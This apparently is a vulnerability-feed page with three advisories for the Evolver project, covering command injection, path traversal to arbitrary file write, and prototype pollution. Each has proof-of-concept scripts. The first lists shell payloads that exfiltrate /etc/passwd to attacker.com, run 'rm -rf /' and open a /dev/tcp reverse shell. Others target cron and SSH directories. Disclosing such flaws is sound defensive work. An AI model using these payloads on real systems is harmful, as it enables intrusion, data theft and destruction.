Patrowl Intel
Sign in
CVEs 3
Skip to the CVEs

Filter by signal

3 evolver CVEs, newest first

  1. 9.8 EPSS 1.8 % RemoteApr 22, 2026

    Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution ### Summary A command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters. ### Details The vulnerability exists in `src/gep/signals.js` at lines 260-274: ```javascript // src/gep/signals.js:260-274 function _extractLLM(corpus, nodeSecret, hubUrl) { // ... var url = getHubUrl(hubUrl) + '/gep/extract'; var postData = JSON.stringify({ corpus_summary: summary }); // VULNERABLE: String concatenation into shell command var curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -H "Authorization: Bearer ' + nodeSecret + '"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' ' + JSON.stringify(url); // VULNERABLE: Executes shell command stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' }); // ... } ``` The `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`. The `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file that simulates the vulnerable code path: ```javascript // test-command-injection.js const { execSync } = require('child_process'); // Simulate the vulnerable _extractLLM function function vulnerableExtractLLM(corpus) { const postData = JSON.stringify({ corpus_summary: corpus }); const curlCmd = 'curl -s -m 10 -X POST' + ' -H "Content-Type: application/json"' + ' -d ' + JSON.stringify(postData).replace(/'/g, "'\\''") + ' http://localhost/test'; console.log('Command that would be executed:'); console.log(curlCmd); console.log('\n--- Testing command substitution ---'); // Demonstrate that command substitution works const testCmd = 'echo ' + JSON.stringify('$(id)'); console.log('\nTest with echo:'); console.log(execSync(testCmd, { encoding: 'utf8' })); } // Payload with command injection const maliciousCorpus = '$(touch /tmp/pwned)'; vulnerableExtractLLM(maliciousCorpus); ``` 2. Run the test: ```bash node test-command-injection.js ``` **Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands. **Actual exploit scenario:** If an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like: - `$(curl attacker.com/exfil?data=$(cat /etc/passwd))` - `$(rm -rf /)` - `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to: - Full system compromise - Data exfiltration - Installation of malware/backdoors - Lateral movement within the network **Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.

  2. 8.1 RemoteApr 22, 2026

    Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write ### Summary A path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations. ### Details The vulnerability exists in `index.js` at lines 752-767: ```javascript // index.js:751-768 const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_'); // VULNERABLE: No path validation on user input const outDir = outFlag ? outFlag.slice('--out='.length) // User-controlled path : path.join('.', 'skills', safeId); if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true }); // ... downloads skill files to outDir ``` The `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory. Note: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\-\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file demonstrating the vulnerability: ```javascript // test-file-write.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable fetchSkill logic function vulnerableFetchSkill(outFlag) { const outDir = outFlag ? outFlag.slice('--out='.length) // No validation! : path.join('.', 'skills', 'default'); console.log('Target directory:', outDir); console.log('Resolved path:', path.resolve(outDir)); // In real code, this would write skill files const targetFile = path.join(outDir, 'skill.js'); console.log('Would write to:', targetFile); return { outDir, targetFile }; } // Test cases console.log('=== Test 1: Normal path ==='); vulnerableFetchSkill('--out=./my-skills/test'); console.log('\n=== Test 2: Path traversal ==='); const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test'); // Actually demonstrate the vulnerability console.log('\n=== Creating directory to prove traversal works ==='); try { if (!fs.existsSync(result.outDir)) { fs.mkdirSync(result.outDir, { recursive: true }); } fs.writeFileSync( path.join(result.outDir, 'poc.txt'), 'Path traversal successful!\nThis file was written outside the intended directory.' ); console.log('SUCCESS: File written to:', path.resolve(result.targetFile)); } catch (e) { console.log('Error:', e.message); } ``` 2. Run the test: ```bash node test-file-write.js ``` **Expected output:** ``` === Test 2: Path traversal === Target directory: ../../../tmp/evolver-test Resolved path: /tmp/evolver-test Would write to: ../../../tmp/evolver-test/skill.js === Creating directory to prove traversal works === SUCCESS: File written to: /tmp/evolver-test/poc.txt ``` **Actual exploit scenario:** An attacker can run: ```bash # Write to system cron directory (requires appropriate permissions) node index.js fetch malicious-skill --out=../../../etc/cron.d # Or overwrite existing files node index.js fetch existing-skill --out=../../../home/user/.ssh ``` ### Impact This is an **Arbitrary File Write** vulnerability that can lead to: - Overwriting critical system files - Installing persistent backdoors (e.g., in cron directories) - Modifying SSH authorized_keys - Overwriting application code or configuration files - Privilege escalation if the process runs with elevated privileges **Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.

  3. 5.2Apr 22, 2026

    Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations ### Summary A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`. ### Details The vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145: ```javascript // src/proxy/mailbox/store.js:115-128 _applyUpdate(row) { if (row._op === 'update') { const existing = this._index[row.id]; // VULNERABLE: Direct Object.assign without key filtering if (existing) Object.assign(existing, row.fields); else this._index[row.id] = row.fields; } // ... } // src/proxy/mailbox/store.js:138-150 _updateRecord(id, fields) { const existing = this._index[id]; // VULNERABLE: Direct Object.assign without key filtering if (existing) Object.assign(existing, fields); // ... } ``` The vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects. The data flows from: 1. `messages.jsonl` file → 2. `readLines()` function (line 47) → 3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → 4. `Object.assign()` pollutes prototype ### PoC **Prerequisites:** - Node.js installed - Access to write to the mailbox messages file **Steps to reproduce:** 1. Create a test file demonstrating the vulnerability: ```javascript // test-prototype-pollution.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable Store class logic class VulnerableStore { constructor(filePath) { this.filePath = filePath; this._index = {}; } load() { if (!fs.existsSync(this.filePath)) return; const lines = fs.readFileSync(this.filePath, 'utf8').split('\n'); for (const line of lines) { if (!line.trim()) continue; try { const row = JSON.parse(line); this._applyUpdate(row); } catch (e) { // Ignore parse errors } } } _applyUpdate(row) { if (row._op === 'update') { const existing = this._index[row.id]; // VULNERABLE: No filtering of dangerous keys if (existing) Object.assign(existing, row.fields); else this._index[row.id] = row.fields; } } update(id, fields) { this._updateRecord(id, fields); } _updateRecord(id, fields) { const existing = this._index[id]; // VULNERABLE: No filtering of dangerous keys if (existing) Object.assign(existing, fields); else this._index[id] = fields; } } // Test the vulnerability console.log('=== Testing Prototype Pollution ===\n'); // Create a malicious messages.jsonl file const maliciousContent = JSON.stringify({ _op: 'update', id: 'msg-123', fields: { __proto__: { polluted: true, isAdmin: true }, normalField: 'normalValue' } }) + '\n'; const testDir = '/tmp/evolver-pollution-test'; if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true }); const testFile = path.join(testDir, 'messages.jsonl'); fs.writeFileSync(testFile, maliciousContent); console.log('Created malicious messages.jsonl'); // Load the store (this triggers the vulnerability) const store = new VulnerableStore(testFile); store.load(); // Check if prototype was polluted console.log('\n=== Checking for prototype pollution ==='); const testObj = {}; console.log('testObj.polluted:', testObj.polluted); console.log('testObj.isAdmin:', testObj.isAdmin); if (testObj.polluted === true) { console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!'); console.log('All objects now have "polluted" and "isAdmin" properties.'); } else { console.log('\n🟡 Prototype pollution may require different payload structure'); } // Demonstrate impact - bypassing authentication check console.log('\n=== Impact Demonstration ==='); function checkAdmin(user) { // Typical pattern that would be vulnerable if (user.isAdmin) { return 'Access granted - Admin privileges'; } return 'Access denied'; } const regularUser = { name: 'normal_user' }; console.log('Regular user check:', checkAdmin(regularUser)); // Cleanup fs.rmSync(testDir, { recursive: true }); ``` 2. Run the test: ```bash node test-prototype-pollution.js ``` **Expected output:** ``` === Checking for prototype pollution === testObj.polluted: true testObj.isAdmin: true 🔴 VULNERABILITY CONFIRMED: Object prototype was polluted! All objects now have "polluted" and "isAdmin" properties. === Impact Demonstration === Regular user check: Access granted - Admin privileges ``` **Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`. **Attack scenario:** If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can: ```jsonl {"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}} ``` ### Impact This is a **Prototype Pollution** vulnerability that can lead to: - Property injection affecting all JavaScript objects - Authentication/authorization bypass - Application logic manipulation - Denial of service via prototype corruption - Potential remote code execution if polluted properties affect security-critical code paths **Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through: - File upload vulnerabilities - Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command) - Compromised backup files - Shared hosting environments **Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.